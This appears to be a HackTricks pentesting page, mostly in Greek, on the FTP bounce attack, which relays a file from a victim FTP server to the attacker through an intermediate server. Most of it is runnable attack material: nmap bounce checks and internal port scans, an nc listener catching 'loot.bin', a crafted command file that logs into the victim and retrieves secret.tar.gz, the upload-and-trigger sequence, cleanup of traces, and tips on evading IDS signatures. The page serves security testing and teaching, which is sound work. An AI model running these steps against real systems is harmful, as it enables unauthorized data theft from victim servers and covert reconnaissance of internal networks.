FTP Bounce Download 2 of FTP File

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Περίληψη

If you have access to a bounce FTP server, you can make it request files of another FTP server (where you know some credentials) and download that file to your own server.

Απαιτήσεις

  • Έγκυρα διαπιστευτήρια FTP στο FTP Middle server
  • Έγκυρα διαπιστευτήρια FTP στον Victim FTP server
  • Και οι δύο διακομιστές αποδέχονται την εντολή PORT (bounce FTP attack)
  • Μπορείτε να γράψετε μέσα σε κάποιον κατάλογο του FTP Middle server
  • Ο FTP Middle server έχει περισσότερη πρόσβαση στον Victim FTP Server από εσάς

Βήματα

  1. Συνδεθείτε στον δικό σας FTP server και βάλτε τη σύνδεση σε passive (pasv command) ώστε να ακούει σε έναν κατάλογο όπου η υπηρεσία του victim θα στείλει το αρχείο.
  2. Δημιουργήστε το αρχείο που ο FTP Middle server θα στείλει στον Victim server (το exploit script). Αυτό το αρχείο θα είναι plain text με τις απαραίτητες εντολές για να αυθεντικοποιηθείτε απέναντι στον Victim server, να αλλάξετε κατάλογο και να κατεβάσετε ένα αρχείο στο δικό σας server.
  3. Συνδεθείτε στον FTP Middle Server και ανεβάστε το προηγούμενο αρχείο.
  4. Κάντε τον FTP Middle server να εγκαταστήσει μια σύνδεση με τον Victim server και να στείλει το exploit αρχείο.
  5. Παραλάβετε το αρχείο στον δικό σας FTP server.
  6. Διαγράψτε το exploit αρχείο από τον FTP Middle server.

Quick check for vulnerable bounce hosts

  • Nmap still supports FTP bounce checks. Example to verify a potential middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Αν ο server αρνηθεί τιμές τρίτων PORT η σάρωση θα αποτύχει· ορισμένοι ενσωματωμένοι/παλιοί εκτυπωτές, NAS και appliance FTP daemons εξακολουθούν να το επιτρέπουν.

Αυτοματοποίηση της δεύτερης FTP λήψης

Παρακάτω είναι ένας εκμοντερνισμένος τρόπος να τραβήξετε ένα αρχείο μέσω ενός ευάλωτου μεσαίου FTP διακομιστή.

  1. Άνοιξε έναν passive listener στο μηχάνημα επίθεσής σου (οποιοδήποτε TCP sink δουλεύει):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Σημείωσε το IP σου ως A,B,C,D και την θύρα P ως p1,p2 (p1 = P/256, p2 = P%256).

  2. Δημιούργησε το αρχείο εντολών που ο μεσαίος server θα αναπαράγει προς το θύμα:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Φόρτωσε & ενεργοποίησε από τον μεσαίο server (κλασικό proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Πάρε το αρχείο από τον listener σου (loot.bin).
  2. Καθάρισε το ανεβασμένο αρχείο instrs στον μεσαίο server.

Σημειώσεις:

  • Το padding (dd ...) αποτρέπει το κλείσιμο της control σύνδεσης πριν ολοκληρωθεί το RETR (θέμα με μεγάλο TCP window που συζητιέται σε κλασικές αναλύσεις).
  • Οποιαδήποτε υπηρεσία που μπορεί να ακούει και να αποθηκεύει TCP μπορεί να αντικαταστήσει το FTP PASV socket (π.χ., socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Αν ο μεσαίος server περιορίζει privileged ports, χρησιμοποίησε μια υψηλή θύρα στο PORT και προσαρμόστε ανάλογα τον listener σου.

Επιπλέον κόλπα

  • Χρησιμοποίησε έναν bounceable FTP server για να κάνεις port-scan εσωτερικούς hosts όταν το file relay είναι μπλοκαρισμένο:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Ορισμένα σύγχρονα WAF/IDS (π.χ., Juniper IPS) περιλαμβάνουν υπογραφές ειδικά για FTP:EXPLOIT:BOUNCE-ATTACK· θορυβώδη payloads ή έλλειψη padding μπορεί να τα ενεργοποιήσει.
  • Όταν ο μεσαίος server επιβάλει περιορισμούς “PORT to same host”, τοποθέτησε τον listener στον ίδιο τον μεσαίο server (αν έχεις δικαίωμα εγγραφής/εκτέλεσης) και προώθησε το συλληφθέν αρχείο αργότερα.

Για μια πιο αναλυτική παραδοσιακή παρουσίαση, δες: http://www.ouah.org/ftpbounce.html

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks